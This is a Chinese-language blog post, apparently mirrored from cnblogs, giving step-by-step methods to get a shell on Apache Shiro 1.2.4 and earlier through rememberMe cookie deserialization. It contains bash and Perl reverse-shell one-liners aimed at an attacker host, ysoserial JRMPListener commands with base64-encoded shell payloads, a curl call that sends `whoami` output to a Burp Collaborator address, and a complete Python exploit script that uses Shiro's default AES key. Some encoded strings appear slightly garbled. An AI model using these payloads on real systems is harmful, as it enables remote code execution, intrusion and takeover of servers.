zoukankan      html  css  js  c++  java
  • 【实战】Apache shiro<=1.2.4 Getshell

    方法一

    利用JRMPClient

    反弹shell方式

    Bash:

    bash -i >& /dev/tcp/attackIP/7777 0>&1

    /bin/bash -i > /dev/tcp/attackIP/7777 0<&1 2>&1

    0<&196;exec 196<>/dev/tcp/attackIP/7777; sh <&196 >&196 2>&196

    Perl:

    perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"attackIP:7777");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

    另外还需要通过http://www.jackson-t.ca/runtime-exec-payloads.html进行编码

    1、vps执行

    java -cp ysoserial-master-ff59523eb6-1.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections5 "bash -c {echo,YmFzaCAgLWkgPiAvZGV2RjcC8xNTAuMTA5LjIxLjg5Lzc3NzcgMDmMSAyPiYx}|{base64,-d}|{bash,-i}"

    2、vps开启监听

    nc -lvvp 7777       

    3、脚本生成payload

    python shiro_exp.py attackIP:1099

    4、发送payload

    最后将payload放到http请求的cookie中,提交到服务端

    5、执行成功后vps就会反弹一个shell

    方法二

    1、Burp开启Collaborator client

    复制地址,如

    uxvlrccmyjkksr7ys3cckj3o9ff53u.burpcollaborator.net

    2、攻击者服务器VPS开启监听

    java -cp ysoserial-master-ff59523eb6-1.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections5 "curl http://uxvlrccmyjkksr7ys3cckj3o9ff53u.burpcollaborator.net/`whoami`"

    3、使用POC生成指向VPS JRMP Listener 服务1099端口的payload

    python shiro_exp.py "attackIP:1099"

    4、查看Collaborator client结果

    方法三

    利用CommonsBeanutils1、CommonsCollection1或者Jdk7u21

    Python shiro_exp.py "bash -c {echo,YmFzaCAgLWkgPiAvZGV2L3RjcC8xNTAuMTA5LjIxLjg5Lzc3NzcgMDwmMSAyPiYx}|{base64,-d}|{bash,-i}"

    vps监听nc -lvvp 7777

    附shiro_exp.py

    import sys
    import uuid
    import base64
    import subprocess
    from Crypto.Cipher import AES
    
    
    def encode_rememberme(command):
        popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'CommonsBeanutils1', command], stdout=subprocess.PIPE)
        BS = AES.block_size
        pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
        key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
        iv = uuid.uuid4().bytes
        encryptor = AES.new(key, AES.MODE_CBC, iv)
        file_body = pad(popen.stdout.read())
        base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
        return base64_ciphertext
    
    
    if __name__ == '__main__':
        payload = encode_rememberme(sys.argv[1])    
    print "rememberMe={0}".format(payload.decode())
    注:需要下载ysoserial-0.0.6-SNAPSHOT-all.jar,github上搜一下。
  • 相关阅读:
    C#读取数据库字节流生成图片
    twitter通过oAuth验证获取json数据
    C#读写txt文件
    asp.net分页方法
    sql分页代码
    acm寒假特辑 1月19日 CodeForces
    acm寒假特辑 1月25日 CodeForces
    snow miku 日记
    错排问题(个人总结/复习用)
    acm寒假特辑 2月2日 HDU
  • 原文地址:https://www.cnblogs.com/peterpan0707007/p/11342997.html
Copyright © 2011-2022 走看看